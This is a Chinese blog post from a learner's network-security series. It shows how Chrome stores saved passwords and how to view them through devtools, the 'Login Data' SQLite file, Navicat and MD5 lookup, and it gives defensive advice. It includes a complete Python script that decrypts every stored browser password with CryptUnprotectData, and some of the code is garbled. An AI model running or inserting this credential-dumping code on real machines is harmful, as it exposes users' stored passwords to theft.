写文章-CSDN博客

最近开始学习网络安全相关知识,接触了好多新术语,感觉自己要学习的东西太多,真 是学无止境,也发现了好几个默默无闻写着博客、做着开源的大神。接下来系统分享一 些网络安全的自学笔记,希望读者们喜欢。

上一篇文章分享了看雪Web安全总结知识和一个异或解密的示例,本篇文章着重讲解 Chrome浏览器保留密码功能渗透解析及登录加密入门笔记,结合实际例子一步步实现浏 览器漏洞的挖掘。非常基础的文章,希望对入门的博友们有帮助,大神请飘过,谢谢各 位看官!

下载地址: https://github.com/eastmountyxz/NetworkSecuritySelf-study

百度网盘:https://pan.baidu.com/s/1dsunH8EmOB_tIHYXXguOeA 提取码:izeb

前文学习:

[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例

前文欣赏:

[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入

[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法

[渗透&攻防] 三.数据库之差异备份及Caidao利器

[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包

补充学习资料:

TK13大神Windows PE专栏 https://blog.csdn.net/u013761036/article/category/6401236 TK13大神Windows对抗专栏

https://blog.csdn.net/u013761036/article/category/6365454

鬼手56大神六个专栏 https://blog.csdn.net/qq_38474570/article/details/87707942

whatiwhere大神逆向工程专栏

https://blog.csdn.net/whatiwhere/article/category/7586534

文章目录

一.用户登录明文与加密浅析

二.浏览器保留密码功能漏洞示例

漏洞测试1

漏洞测试2

漏洞测试3

漏洞测试4

三.Chrome浏览器密码存储机制

四.总结

一.用户登录明文与加密浅析

浏览器开发模式通常可以查看源代码,以简书为例,在登录页面 输入用户名和密码,然 后右键"检查"或"审查元素"。

1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1	+		- 🗆	×
\leftrightarrow \rightarrow C $$ https://www.jia	nshu.com/sign_in	07	Q 🕁 😶	0
简书				-
	<mark>登录</mark> · 注册			
	15285130000 	返回(B) 前进(E) 重新加载(R)	Alt+向左箭头 Alt+向右箭头 Ctrl+R	l
	☑ 记住我 登录遇到问题? ☑ 亞住我 登录遇到问题? <	另存为(A) 打印(P) 投射(C) 翻成中文 (简体) (T)	Ctrl+S Ctrl+P	
	社交條号遵录	查看网页源代码(⊻) 检查(№)	Ctrl+U Ctrl+Shift+I	mourţ

运行结果如下所示,点击"Network"选择页面能查看消息头Headers及状态信息、 Cookies或Sessions。这是开发者常用的分析方法,尤其是网络爬虫,需要审查元素定 位所需信息的HTML源码。



下图展示了作者输入的用户名及密码,这里的密码是明文显示的。

100 登录 - 简书 × +	- 🗆 X				
\leftarrow \rightarrow C \triangleq https://www.jianshu.com/sessions	९ 🖈 😝 📀				
	15285130000				
🕞 🔂 Elements Console Sources Network Perform	nance Memory Application Security Audits				
● 🛇 ■ 🍸 Q View: 🃰 🛬 🔲 Group by frame 🗌	Preserve log 🔲 Disable cache 📄 Offline Online 🔻				
Filter 🗌 Hide data URLs 📶 XHR JS CSS	Img Media Font Doc WS Manifest Other				
100 ms 200 ms 300 ms 400 ms 500 ms 600	ms 700 ms 800 ms 900 ms 1000 ms 1100 ms 1200 ms 1300 ms 1400 ms 1500 ms 1600				
Name × Hea	ders Preview Response Cookies Timing				
sessions	2 291.91.1/231*30				
logo-58/d046/0de908401aa361cda6a688.png V Form Data view source view URL encoded web-30728a1161102859481d.css untfl: / web-30728a1161128294941d.scs untfl: / web-30728a1161128294941d.scs					
web-a2ad2545b30e4febbd68.js	······································				
entry-f7e14e2f1268430af7b9.js	on[email_or_mobile_number]: 15285130000				
entry-725103a0668ccb1789d4.css	on[password]: 111111				
hm.js?0c0e9d9b1e7d617b3e6842e85b9fb068	on[oversea]: talse				
20 requests 91.3 KB transferred Finish: 1.34 s DOMCo capto	ha[validation][challenge]: 77706de2b8c17e457a3ca428d09ae8f7 https://blog.csdn.net/Eastrol.				

而有的网站输入的用密码是加密过的,比如我大贵财某登陆系统传递的密码是MD5加密。

← → C ◎ 不安全	• ☆	e	• •
资料			ŕ
Copyrgene2015 AI Fogus Rise 1.27			
🕞 🔂 Elements Console Sources Network Performance Memory Application Security Audits		01	: ×
🔹 🚫 🛤 🍸 🔍 View: 🏭 🐾 🗍 Group by frame 💿 Preserve log 📄 Disable cache 🕤 Offline Online 🛛 🔻			
Filter IIIde data URLS All XHR JS CSS Img Media Font Doc WS Manifest Other			
50 ms 100 ms 150 ms 200 ms 250 ms 300 ms 350 ms 400 ms 450 ms 550 ms 550 ms 660 ms 650 ms	750 ms		800 ms
Name X Headers Preview Response Cookies Timing			
login Upgrade-Insecure-Requests: 1			-
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36			
jquery-1.6.1.min.js view source view URL encoded			
jquery.togglejs encodedService: http%3a%2f%2fi.gufe.edu.cn%2fdcp%2findex.jsp			
mdSjs service: http://i.gufe.edu.cn/dcp/index.jsp			
loginjs serviceName: null			
DD_belatedPNG_0.0.8a-min.js loginErrCnt: 1			
l login_hover_bg.png			
logo.png password: 670b14728ad9902aecba32e22fa4f6bd			- 1
ws_logo.jpg replace-pwd: 密码			- 1
li login_bt_bg.png ht LT-266275-txcH174BKb2RXxEPGXSq			- 1
I count icon and icon			sstmount

MD5解密如下所示。

	密文: <mark>670b14728</mark> 孝型: 自动	密文: 670b14728ad9902aecba32e22fa4f6bd 学型: 自动 ▼ [想助]		
		查询	加密	
查询结果: 000000				
			https://	blog.csdn.net/Eastmoun

作者写这部分原因:

一是想讲解下浏览器开发者模式的基本用法,二是后续想了解网站前端是否需要加密, 用户名和密码传递到后台程序是如何加密解密的,以及存储至数据库的基本流程、它是 明文或密文,这是否存在安全隐患及预防措施等。 写文章-CSDN博客

MD5即Message-Digest Algorithm 5(信息-摘要算法第5版),是计算机安全领域广泛使用的一种散列函数,用以提供消息的完整性保护,确保信息传输完整一致。MD5是计算机广泛使用的杂凑算法之一(又译摘要算法、哈希算法),主流编程语言普遍已有MD5实现。注意,任意长度的数据,算出的MD5值长度都是固定的;对原数据进行任何改动,哪怕只修改1个字节,所得到的MD5值都有很大区别。

MD5的作用是让大容量信息在用数字签名软件签署私人密钥前被"压缩"成一种保密的格式(就 是把一个任意长度的字节串变换成一定长的十六进制数字串)。MD5理论上还是安全的,毕竟 号称是不可逆算法。但是,目前网上有一些神器撞库网站,把所有密码列举出来,然后去比对 的暴力破解法,虽然笨重,但是也很有效。

二.浏览器保留密码功能漏洞示例

漏洞测试1

浏览器本机保留密码功能是非常不安全的,不推荐大家使用,不过如果你想找回密码用 这种方式倒是不错。

- 首先,在需要登录的页面上选择浏览器自动保留用户名和密码,并提交登录。
- 接着,退出重新登录,Chrome浏览器审查元素,定位密码位置。
- 最后,将输入框input元素的type属性,从"password"修改为"text",显示结果如下所示。





所以,大家在登陆网站时尽量不要选择保存用户名和密码,该行为带来了极大的密码泄 露风向,而且很难规避,尤其是重要的密码或超级管理员账户。除非增加手机验证码、 异常登录提醒、QQ验证等。

个人建议:

- 电脑不用轻易借给他人使用,除非身边非常信任的人
- 非私人电脑一定不能让浏览器保存密码
- 设定一些易于记住的密码,浏览器里登录时重要账户选择不要保存密码,每次登录
 手动输入
- 离开电脑务必记得随时锁屏或者关机,登录系统一定要设定密码
- 整合到Chrome第三方工具如LastPass,使用主密码来管理那些密码

漏洞测试2

- 那么, Chrome浏览器是如何存储这些用户名和密码呢? 它是否也不安全呢?
- 首先,打开密码管理器。设置->高级->密码,或者输入 chrome://settings/passwords。

🗢 1811	× +	- 🗆 ×
\leftrightarrow \rightarrow C \odot Chrome	chrome://settings	☆ \varTheta 🗿
三 设置	Q、 在设置中搜索	
	点田	
	在 Chrome 中畅享 Google 的智能技术 在您的所有设备上同些并个性化设置 Chrome	
	Cv 密码 ◆ ◆ ◆	
	 付款方式 	
	♥ 地址和其他信息 ,	
	Chrome 名称印图片	https://blog.codn.net/Eastmou 🕹

接着,查看保留的用户名和密码,包括163邮箱、百度等。不会吧,这么危险。

🗢 182	× +				- 🗆 ×
\leftarrow \rightarrow C \odot Chrome	chrome://settings/passwords				☆ 🖯 🗘
☰ 设置	Q、 在设置中搜索				
	查看和管理您的 Google 帐号中保	存的密码			-
	已保存的密码			:	
	网站	用户名	密码		
	dl.reg.163.com	1520 57		• i	
	passport.baidu.com	Yang /eYN		• i	
	china-ced.com	yangxiuzhang		• i	
	dylx.cbpt.cnki.net	杨秀璋		• :	
	xddj.cbpt.cnki.net	杨秀璋		• i	
	zzdz.cbpt.cnki.net	杨秀璋		•	
	accounts.douban.com	145 241@qq.cp,		•	https:/blog.csdn.net/Eastmourg

所幸, Chrome浏览器对显示的密码进行了一道验证, 需要输入正确的电脑账户密码才能 查看, 如下图所示。

为了执行加密(在Windows操作系统上), Chrome使用了Windows提供的API, 该API 只允许用于加密密码的Windows用户账户去解密已加密的数据。所以基本上来说, 你的 主密码就是你的Windows账户密码。所以, 只要你登录了用自己的账号Windows, Chrome就可以解密加密数据。

💠 igm	× +					- 🗆 ×
\leftarrow \rightarrow C \odot Chrom	e chrome://settings	/passwords				☆ 🔒 🔕
☰ 设置	Q、 在设置中搜索					
	查看和管理您的 G	Windows 安全 Google Chrome	(PRONING down SPEEL)			
	已保存的密码网站	google chromeirtz () 操作。 yxz	2523AMUGOM272BabCyChLap		:	
	dl.reg.163.0	DESKTOP-2PTB11Kyyz 腔码		0	:	
	passport.ba	使用其他帐户		0	:	
	dylx.cbpt.ci		确定取消	0	:	
	xddj.cbpt.cn	ki.net 杨秀璋		0	:	
	zzdz.cbpt.cn	ki.net 杨秀璋		0	:	
	accounts.do	uban.com 1455136241@qq.cp,		0	:	https://blog.csdn.net/Eastmourg

输出Windows账户正确显示对应网站的密码。

网站	用户名	密码		
dl.reg.163.com	152	1991	Ø	:
passport.baidu.com	Yangy eYN		0	:
china-ced.com	yangxiuzhang		0	:
dylx.cbpt.cnki.net	杨秀璋		Ο	:

补充知识:

由于Windows账户密码是一个常量,并不是只有Chrome才能读取"主密码",其他外部工具也能获取加密数据,同样也可以解密加密数据。比如使用NirSoft的免费工具ChromePass(NirSoft官方下载),就可以看得你已保存的密码数据,并可以轻松导出为文本文件。既然ChromePass可以读取加密的密码数据,那恶意软件也能读取的。当ChromePass.exe被上传至VirusTotal时,超过半数的反病毒(AV)引擎会标记这一行为是危险级别。不过微软的Security Essentials并没有把这一行为标记为危险。

假设你的电脑被盗,小偷重设了Windows账号密码。如果他们随后尝试在Chrome中查 看你的密码,或用ChromePass来查看,密码数据都是不可用。原因很简单,因为"主密 码"并不匹配,所以解密失败。此外,如果有人把那个SQLite数据库文件复制走了,并 尝试在另外一台电脑上打开,ChromePass也将显示空密码,原因同上。结论是Chrome 浏览器中已保存密码的安全性,完全取决于用户本身。

个人建议:

• 使用一个极高强度的Windows账号密码。必须记住,有不少工具可以解密Windows 账号密码。如果有人获取了你的Windows账号密码,那他也就可以知道你在 Chrome已保存的密码。

- 远离各种各样的恶意软件。如果工具可以轻易获取你已保存的密码,那恶意软件和 那些伪安全软件同样可以做到。如果非得下载软件,请到软件官方网站去下载。
- 把密码保存至密码管理软件中(如KeePass),或使用可以整合到Chrome中的第三 方工具(如LastPass),使用主密码来管理你的那些密码。
- 用工具 (如TrueCrypt) 完全加密整个硬盘,并且非私人电脑一定不能让浏览器保存 密码。

漏洞测试3

作者想继续修改input密码的属性,看看能不能显示密码。如下图所示:



再次幸运, Chrome应该已经解决了该漏洞, 显示空白。

💠 设置	×	+					- 🗆 ×
\leftarrow \rightarrow C \odot Chrome	chror	me:// settings /passwords					☆ 🔒 🔕
☰ 设置	۹	在设置中搜索					
		dl.reg.163.com	15201	1991	ø	:	Î
		passport.baidu.com	YangxzloveYN	1	0	:	
		china-ced.com	yangxiuzhang		0	:	
		dylx.cbpt.cnki.net	杨秀璋		0	:	
🕞 Elements Console	Sourc	es Network Performance	Memory Application	Security Audits			▲ 3 : ×
		<pre>kdiv class="website-co kdiv class="website-co</pre>	plumn no-min-width titl	e="https://	 Styles 	Computed	Event Listeners >>>
		passport.baidu.com/v2/	>		Filter		:hov .cls + ^
		<pre><input 1d="Username" tabindex="-1"/></pre>	class= usernamg-column p	assword-field readonly	element }	.style {	
		<input <br="" id="password"/> readonly disabled to	'aria-labél="密码" class /pe="text">>= \$0	s="password-field"	#userna	me, #passwo	ord { <style></style>
		<pre>v <paper-icon-button-l "icon-visibility"=""></paper-icon-button-l></pre>	ight id="showPasswordBu)) sswordButton" focus-row =="易示密码" tabindex="@"	control focus-type=	font font line text }	-family: in -size: inhe -height: in -overflow:	herit; rit; herit; ellipsis;
		▼ <paper-ripple cl<="" td=""><td>ass="circle"></td><td></td><td>.passwo</td><td>rd-field {</td><td><style></style></td></paper-ripple>	ass="circle">		.passwo	rd-field {	<style></style>
#shadow-root div #passwor	dList p	assword-list-item #shadow-root (open) ot div div input#passwo	rd.password-field	borde	er:⊧none;	https://blog.csdn.net/Eastmourg

接着,作者尝试获取本地Chrome浏览器登录的账户信息。 找到密码存储的位置,文件或者是注册表,这个时候需要开启监控工具,打开注册表和 文件操作信息。然后到chrome密码管理界面,随便删除一条记录,然后看看chrome本 身对哪些文件或者注册表进行了修改,推荐 TK13 大神文章。



也可以直接寻找文件,通常用户名文件的存储路径为: C:\Users...\AppData\Local\Google\Chrome\User Data\Default

找到下图所示的文件, Login Data。



漏洞测试4

接着打开这个文件,还好这个文件是加密的,而不是明文存储。

2	C:\Users\yxz\Desktop\Login Data - Notepad++	- 🗆	\times
文	件(F) 编辑(E) 搜索(S) 视图(V) 格式(M) 语言(L) 设置(T) 宏(O) 运行(R) 插件(P) 窗口(W) ?		
	Login Data 2		
		INTERN	TRN .
	2 BERG ESSER (BERG EFF 2) FOR 3 FERE FOR ESSER (BUILDING AND	THIN OF MINING	
	3 NUMNUMNUMPAKIBAHÁ BAR 2 2 NUMNUMNUMNUMNUMNUMNUMNUMNUMNUMNUMNUMNUMN	OT NOT NOT	NUUR
		ULNULNUL	NUL
		INULEMST	NUL
			_
		ALOURINIOURINIOU	JNU
1			
		NULNULNU	LINU
1	1.2 NUORNUTANUTA TAUTA E NUTA : N	ETINUTINUT	NUL
1	13 – NURNURANUR E NUR E NURNURNURRURRURRURRURRURRURRURRURRURRURR	ELNULNUL	NUL
1	14	ELNULNUL	NUL
		ELINULINUL	ALCON.
		ELINULINUL	NUL
			NIGHT
1		EOTINUTIN	UTINI
2	20 NUSRUPNUR L RUR E RUB L RUB I RUB I RUB E RUB (RUB I RUB I RUB I RUB I RUB I RUB	ELNUINUE	NUL
2	21	ELNULNUL	NUL
2	22	extNUCNU	JNU
2		NUCTNUC	101
4			NU
4		MINIO MINIO MINI	
1			`
<			>
Mo	vrmal text file longth : 126 076 lines : 244 ln : 1 Col : 1 Sol : 0.1.0 Macintoch (CP) ANSU		IN

虽然该文件加密了,但是可以看到它是 SQLite format 3 的格式。接着通过工具读取该数据。这里使用 Navicat Premium工具。

Navicat premium是一款数据库管理工具,是一个可多重连线资料库的管理工具,它可以让你以单一程式同时连线到 MySQL、SQLite、Oracle 及 PostgreSQL 资料库,让管理不同类型的资料库更加的方便。





😂 Navicat Premium							
收	髋夹(A) 工具(T) 窗口(W) ╡						
>	MySQL						
	PostgreSQL						
	Oracle						
	SQLite						
	SQL Server						
	MariaDB						
	ottos://blog.csdo.pet/Eastmount						
	miun)收 。						

第二步, 输入连接名如"test0803", 并导入本地的"Login Data"数据。

🖉 SQLite - 新建连接	×
常规 高级 HTTP	
连接名:	test0803
类型:	● 现有的数据库文件○ 新建 SQLite 3
数据库文件:	○新建 SQLite 2 C:\Users\yxz\Desktop\Login Data
连接测试	确定 Littlesuvoidgest magutestimotist

第三步,打开之后在"main"数据库中包含了三张表,其中logins为登录表。

帮助





第四步,打开如下所示,比如163邮箱的用户名为我的电话,密码是加密的。

😂 logins @main (test0803) - 清	- Navicat Premium										-		×
文件 查看 收藏夹 工具	窗口 帮助												
	A-Z	Ζ 📻		00									
	00 11	7 4	1.1	anna a	m O	<u> </u>							
连接表	視图 素引	触发器 查询	报表	备份	计划	横型							
school_zzb	対象 Ⅲ logins @main (test0803) - 表												8
test001		🗄 番注 🕶 🏹 薄透	↓青排序	▶ 导入 [• 导出								
 test0803 	origin_url action_url				usernam	username_element		value	password_element	password_value		alue	^
	http://xddj.cbpt.cnki.net/E http://xddj.cbpt.cnki.net/EditorEN/index.as					pctl00\$P1\$U1\$userName 杨秀瑋			ctl00\$P1\$U1\$password		Keecoe	i⊐ez eOe	0
> 007 初图	http://dylx.cbpt.cnki.net/E http://dylx.cbpt.cnki.net/EditorBN/index.as					ctl00\$P1\$U1\$userName 杨秀璋		ctl00\$P1\$U1\$password		K++004	00+ z+0+	0	
> 🕅 索引	http://gsgl.gzu.edu.cn/sq/ http://gsgl.gzu.edu.cn/sq/bs/login				sfzh	sfzh			pwd		K♦♦□D€	eo+ z+o+	0
> 🁎 触发器	http://compusimu.gnway.http://compusimu.gnway.cc/checkin.asp				uname	uname 1528			upwd		K++004	+0+z +0+	0
> 1 查询	http://compusimu.gnway.ct/ttp://compusimu.gnway.cc/checkin.asp					uname		@qq.com	upwd		K++□□+	eo+z +O+	0
> 正 投表 > 20 留份	http://jws.gufe.edu.cn:800 http://jws.gufe.edu.cn:8001/jwglxt/xtgl/logir					ir yhm			mm		K++004	+0+z +0+	0
	http://www.china-ced.com http://www.china-ced.com/o/author.aspx				UserID	UserID		ang	Passwd		Keenoe	0+2 +0+	0
	http://zzdz.cbpt.cnki.net/Ehttp://zzdz.cbpt.cnki.net/EditorDN/Index.a					s ctl00\$P1\$U1\$userName			ctl00\$P1\$U1\$password	•	K++00+	+0+z +0+	0
	https://github.com/sessio https://github.com/session				login	login			password		K++□□+	eo+ z+o+	•
	https://dl.reg.163.com/we https://dl.reg.163.com/webzj/v1.0.1/pub/in/					x email			password		Ќ ≑ ≎⊡€	¢⊡∳z éOé	
	https://online.enetedu.cor https://online.enetedu.com/gzife/Index/Re				Regusernam	c username					Ќ 0 0⊡€	eo+z +O+	0
	https://online.enetedu.cor https://online.enetedu.com/gzife/Index/Lo					guseremail		Dqq.com	userpassword		Ќ♦♦004	0+2 +0+	•
	<												, ×
	+	0											
SELECT *, ROWID *NAVICAT ROWID* FROM *logins* LIMIT 0, 1000							第 25 冬记录 (共 25 冬) 干飯 1 页 Version						
									and the actions of				

第五步,破解思想。

想要破解一个加密算法是很难的。这学习TK13大神的文章,了解到Chrome开源的加密 函数CryptProtectData和CryptUnprotectData。

这对加解密函数非常特别,调用的时候会去验证本地登录身份,这也就是为什么别人的 那个密码文档不能直接拷贝到我们自己chrome相关文件夹下去看的原因了。

接下来是代码实现,找到开源的Sqllite3库,把数据库解析出来,然后得到密码的加密数 据,用CryptUnprotectData解密。注意,如果chrome开启的时候直接对这个数据库文件 操作会失败,建议每次操作先把文件拷贝出来再处理。

参考文章:

https://www.secpulse.com/archives/3351.html http://netsecurity.51cto.com/art/201603/507131.htm https://blog.csdn.net/u013761036/article/details/53822036

第六步,使用TK13大神分享的AnalysisChromeLogin.exe工具进行解密。

下载地址: http://download.csdn.net/detail/u013761036/9719029



PS: 是不是很可怕,所以个人电脑大家一定要保护好开机密码,别轻易让坏人使用。后续尝试破壳看看这个EXE程序源代码是如何解析的。

三.Chrome浏览器密码存储机制

下面分享N1ckw0rm大神讲解的Chrome浏览器密码存储机制。

谷歌浏览器加密后的密钥存储于%APPDATA%…\Local\Google\Chrome\User Data\Default\Login Data"下的一个SQLite数据库中。那么他是如何加密的呢,通过开源 的Chromium,我们来一探究竟:

首先,我们作为用户登录一个网站时,会在表单提交Username以及Password相应的值,Chrome会首先判断此次登录是否是一次成功的登录,部分判断代码如下:

```
Provisional_save_manager_->SubmitPassed();
if (provisional_save_manager_->HasGeneratedPassword())
UMA_HISTOGRAM_COUNTS("PasswordGeneration.Submitted", 1);
If (provisional_save_manager_->IsNewLogin() && !provisional_save_man;
Delegate_->AddSavePasswordInfoBarIfPermitted(
        Provisional_save_manager_.release());
} else {
provisional_save_manager_->Save();
Provisional_save_manager_.reset();
}
```

当我们登录成功时,并且使用的是一套新的证书(也就是说是***次登录该网站), Chrome 就会询问我们是否需要记住密码。

那么登录成功后,密码是如何被Chrome存储的呢?答案在EncryptedString函数,通过调用EncryptString16函数,代码如下:

```
Bool Encrypt::EncryptString(const std::string& plaintext,std::string* cip
DATA_BLOB input;
Input.pbData = static_cast<DWORD>(plaintext.length());
DATA_BLOB output;
BOOL result = CryptProtectData(&input, L"",NULL, NULL, NULL, 0,&outpu
if (!result)
Return false;
//复制操作
Ciphertext->assign(reinterpret_cast<std::string::value_type*>(output.pbD;
LocalFree(output.pbData);
```

```
Return true; }
```

代码利用了Widows API函数CryptProtectData(前面提到过)来加密。当我们拥有证书时,密码就会被回复给我们使用。在我们得到服务器权限后,证书的问题已经不用考虑了,所以接下来就可以获得这些密码。

下面通过Python代码实现从环境变量中读取Login Data文件的数据,再获取用户名和密码,并将接收的结果通过win32crypt.CryptUnprotectData解密密码。

```
google_path = r' Google\Chrome\User Data\Default\Login Data'
file_path = os.path.join(os.environ['LOCALAPPDATA'],google_path)
```

```
#Login Data文件可以利用python中的sqlite3库来操作。
```

```
conn = sqlite3.connect(file_path)
```

```
for row in conn.execute('select username_value, password_value, signon_re #利用Win32crpt.CryptUnprotectData来对通过加密的密码进行解密操作。
```

```
cursor = conn.cursor()
```

cursor.execute('select username_value, password_value, signon_realm d

#接收全部返回结果

```
#利用win32crypt.CryptUnprotectData解密后,通过输出passwd这个元组中内容,获取Chrofor data in cursor.fetchall():
```

```
passwd = win32crypt.CryptUnprotectData(data[1],None,None,0)
```

用CryptUnprotectData函数解密,与之对应的是前面提到的CryptProtectData,理论上来 说CryptProtectData加密的文本内容,都可以通过CryptUnprotectData函数来解密。对其 他服务的解密方式,大家可以自行尝试。 完整的脚本代码如下所示:

```
#coding:utf8
import os, sys
import sqlite3
import win32crypt
google path = r'Google\Chrome\User Data\Default\Login Data'
db file path = os.path.join(os.environ['LOCALAPPDATA'],google path)
conn = sqlite3.connect(db file path)
cursor = conn.cursor()
cursor.execute('select username value, password value, signon realm from
#接收全部返回结果
for data in cursor.fetchall():
    passwd = win32crypt.CryptUnprotectData(data[1],None,None,0)
   if passwd:
       print '-----'
       print u'[+]用户名: ' + data[0]
       print u'[+]密码: ' + passwd[1]
       print u'[+]网站URL: ' + data[2]
```

四.总结

写到这里,整篇文章结束了,其实网络安全还是挺有意思的,尤其是最后解决了一个问题之后。每一篇文章都是站在无数大神和大佬的肩膀之上,作为一个网络安全的初学者,深深地感受到自己有太多的东西需要学习,还好态度比较端正,每天都在一步一个脚印前行。

希望这篇基础性文章对你有所帮助,如果有错误或不足之处,还请海涵。后续将分享更多网络安全方面的文章了,从零开始很难,但秀璋会一路走下去的,加油。

故人应在千里外,

不寄梅花远信来。

武汉第二周学习结束,寄了第二封家书给女神,接下来这几年,应该会写上200来封吧,很期待,也很漫长,但我俩的故事将继续书写。未来的路还很长,优秀的人真的太多,我们只有做好自己,不忘初心,享受生活,砥砺前行。明天周末继续奋斗,晚安娜,记得收信。

(By: 杨秀璋 2019-08-03 周六晚上8点写于武汉 https://blog.csdn.net/Eastmount)